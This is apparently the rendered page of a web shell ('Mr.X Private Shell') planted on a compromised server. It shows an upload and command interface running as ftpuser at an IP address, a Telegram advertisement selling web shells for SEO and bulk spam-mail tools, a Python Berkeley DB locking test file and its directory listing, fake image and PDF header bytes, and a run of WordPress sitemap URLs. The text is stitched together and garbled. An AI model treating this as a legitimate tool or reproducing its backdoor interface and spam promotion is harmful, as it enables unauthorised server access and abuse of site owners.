xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
"""
TestCases for testing the locking sub-system.
"""

import sys
import time

import unittest
from test_all import db, test_support, verbose, have_threads, \
        get_new_environment_path, get_new_database_path

if have_threads :
    from threading import Thread
    if sys.version_info[0] < 3 :
        from threading import currentThread
    else :
        from threading import current_thread as currentThread

#----------------------------------------------------------------------

class LockingTestCase(unittest.TestCase):
    def setUp(self):
        self.homeDir = get_new_environment_path()
        self.env = db.DBEnv()
        self.env.open(self.homeDir, db.DB_THREAD | db.DB_INIT_MPOOL |
                                    db.DB_INIT_LOCK | db.DB_CREATE)


    def tearDown(self):
        self.env.close()
        test_support.rmtree(self.homeDir)


    def test01_simple(self):
        if verbose:
            print '\n', '-=' * 30
            print "Running %s.test01_simple..." % self.__class__.__name__

        anID = self.env.lock_id()
        if verbose:
            print "locker ID: %s" % anID
        lock = self.env.lock_get(anID, "some locked thing", db.DB_LOCK_WRITE)
        if verbose:
            print "Acquired lock: %s" % lock
        self.env.lock_put(lock)
        if verbose:
            print "Released lock: %s" % lock
        self.env.lock_id_free(anID)


    def test02_threaded(self):
        if verbose:
            print '\n', '-=' * 30
            print "Running %s.test02_threaded..." % self.__class__.__name__

        threads = []
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_WRITE,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_READ,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_READ,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_WRITE,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_READ,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_READ,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_WRITE,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_WRITE,)))
        threads.append(Thread(target = self.theThread,
                              args=(db.DB_LOCK_WRITE,)))

        for t in threads:
            import sys
            if sys.version_info[0] < 3 :
                t.setDaemon(True)
            else :
                t.daemon = True
            t.start()
        for t in threads:
            t.join()

        def test03_lock_timeout(self):
            self.env.set_timeout(0, db.DB_SET_LOCK_TIMEOUT)
            self.assertEqual(self.env.get_timeout(db.DB_SET_LOCK_TIMEOUT), 0)
            self.env.set_timeout(0, db.DB_SET_TXN_TIMEOUT)
            self.assertEqual(self.env.get_timeout(db.DB_SET_TXN_TIMEOUT), 0)
            self.env.set_timeout(123456, db.DB_SET_LOCK_TIMEOUT)
            self.assertEqual(self.env.get_timeout(db.DB_SET_LOCK_TIMEOUT), 123456)
            self.env.set_timeout(7890123, db.DB_SET_TXN_TIMEOUT)
            self.assertEqual(self.env.get_timeout(db.DB_SET_TXN_TIMEOUT), 7890123)

    def test04_lock_timeout2(self):
        self.env.set_timeout(0, db.DB_SET_LOCK_TIMEOUT)
        self.env.set_timeout(0, db.DB_SET_TXN_TIMEOUT)
        self.env.set_timeout(123456, db.DB_SET_LOCK_TIMEOUT)
        self.env.set_timeout(7890123, db.DB_SET_TXN_TIMEOUT)

        def deadlock_detection() :
            while not deadlock_detection.end :
                deadlock_detection.count = \
                    self.env.lock_detect(db.DB_LOCK_EXPIRE)
                if deadlock_detection.count :
                    while not deadlock_detection.end :
                        pass
                    break
                time.sleep(0.01)

        deadlock_detection.end=False
        deadlock_detection.count=0
        t=Thread(target=deadlock_detection)
        import sys
        if sys.version_info[0] < 3 :
            t.setDaemon(True)
        else :
            t.daemon = True
        t.start()
        self.env.set_timeout(100000, db.DB_SET_LOCK_TIMEOUT)
        anID = self.env.lock_id()
        anID2 = self.env.lock_id()
        self.assertNotEqual(anID, anID2)
        lock = self.env.lock_get(anID, "shared lock", db.DB_LOCK_WRITE)
        start_time=time.time()
        self.assertRaises(db.DBLockNotGrantedError,
                self.env.lock_get,anID2, "shared lock", db.DB_LOCK_READ)
        end_time=time.time()
        deadlock_detection.end=True
        # Floating point rounding
        if sys.platform == 'win32':
            # bpo-30850: On Windows, tolerate 50 ms whereas 100 ms is expected.
            # The lock sometimes times out after only 58 ms. Windows clocks
            # have a bad resolution and bad accuracy.
            min_dt = 0.050
        else:
            min_dt = 0.0999
        self.assertGreaterEqual(end_time-start_time, min_dt)
        self.env.lock_put(lock)
        t.join()

        self.env.lock_id_free(anID)
        self.env.lock_id_free(anID2)

        if db.version() >= (4,6):
            self.assertGreater(deadlock_detection.count, 0)

    def theThread(self, lockType):
        import sys
        if sys.version_info[0] < 3 :
            name = currentThread().getName()
        else :
            name = currentThread().name

        if lockType ==  db.DB_LOCK_WRITE:
            lt = "write"
        else:
            lt = "read"

        anID = self.env.lock_id()
        if verbose:
            print "%s: locker ID: %s" % (name, anID)

        for i in xrange(1000) :
            lock = self.env.lock_get(anID, "some locked thing", lockType)
            if verbose:
                print "%s: Acquired %s lock: %s" % (name, lt, lock)

            self.env.lock_put(lock)
            if verbose:
                print "%s: Released %s lock: %s" % (name, lt, lock)

        self.env.lock_id_free(anID)


#----------------------------------------------------------------------

def test_suite():
    suite = unittest.TestSuite()

    if have_threads:
        suite.addTest(unittest.makeSuite(LockingTestCase))
    else:
        suite.addTest(unittest.makeSuite(LockingTestCase, 'test01'))

    return suite


if __name__ == '__main__':
    unittest.main(defaultTest='test_suite')

Filemanager

Name Type Size Permission Actions
__init__.py File 0 B 0644
__init__.pyc File 130 B 0644
__init__.pyo File 130 B 0644
test_all.py File 19.01 KB 0644
test_all.pyc File 24.24 KB 0644
test_all.pyo File 24.24 KB 0644
test_associate.py File 15.32 KB 0644
test_associate.pyc File 20.14 KB 0644
test_associate.pyo File 20.14 KB 0644
test_basics.py File 35.4 KB 0644
test_basics.pyc File 33.32 KB 0644
test_basics.pyo File 33.32 KB 0644
test_compare.py File 14.79 KB 0644
test_compare.pyc File 19.28 KB 0644
test_compare.pyo File 19.28 KB 0644
test_compat.py File 4.43 KB 0644
test_compat.pyc File 5.3 KB 0644
test_compat.pyo File 5.3 KB 0644
test_cursor_pget_bug.py File 1.83 KB 0644
test_cursor_pget_bug.pyc File 2.6 KB 0644
test_cursor_pget_bug.pyo File 2.6 KB 0644
test_db.py File 5.66 KB 0644
test_db.pyc File 8.58 KB 0644
test_db.pyo File 8.58 KB 0644
test_dbenv.py File 18.78 KB 0644
test_dbenv.pyc File 21.78 KB 0644
test_dbenv.pyo File 21.78 KB 0644
test_dbobj.py File 2.35 KB 0644
test_dbobj.pyc File 3.35 KB 0644
test_dbobj.pyo File 3.35 KB 0644
test_dbshelve.py File 11.42 KB 0644
test_dbshelve.pyc File 13.95 KB 0644
test_dbshelve.pyo File 13.95 KB 0644
test_dbtables.py File 14.98 KB 0644
test_dbtables.pyc File 11.49 KB 0644
test_dbtables.pyo File 11.49 KB 0644
test_distributed_transactions.py File 4.76 KB 0644
test_distributed_transactions.pyc File 5.53 KB 0644
test_distributed_transactions.pyo File 5.53 KB 0644
test_early_close.py File 7.27 KB 0644
test_early_close.pyc File 6.66 KB 0644
test_early_close.pyo File 6.66 KB 0644
test_fileid.py File 1.79 KB 0644
test_fileid.pyc File 2.37 KB 0644
test_fileid.pyo File 2.37 KB 0644
test_get_none.py File 2.24 KB 0644
test_get_none.pyc File 2.82 KB 0644
test_get_none.pyo File 2.82 KB 0644
test_join.py File 3.09 KB 0644
test_join.pyc File 3.54 KB 0644
test_join.pyo File 3.54 KB 0644
test_lock.py File 6.44 KB 0644
test_lock.pyc File 5.94 KB 0644
test_lock.pyo File 5.94 KB 0644
test_misc.py File 4.73 KB 0644
test_misc.pyc File 5.06 KB 0644
test_misc.pyo File 5.06 KB 0644
test_pickle.py File 1.93 KB 0644
test_pickle.pyc File 2.75 KB 0644
test_pickle.pyo File 2.75 KB 0644
test_queue.py File 3.92 KB 0644
test_queue.pyc File 3.9 KB 0644
test_queue.pyo File 3.9 KB 0644
test_recno.py File 8.55 KB 0644
test_recno.pyc File 7.61 KB 0644
test_recno.pyo File 7.61 KB 0644
test_replication.py File 19.82 KB 0644
test_replication.pyc File 15.27 KB 0644
test_replication.pyo File 15.27 KB 0644
test_sequence.py File 5.15 KB 0644
test_sequence.pyc File 6.56 KB 0644
test_sequence.pyo File 6.56 KB 0644
test_thread.py File 15.54 KB 0644
test_thread.pyc File 14.97 KB 0644
test_thread.pyo File 14.97 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml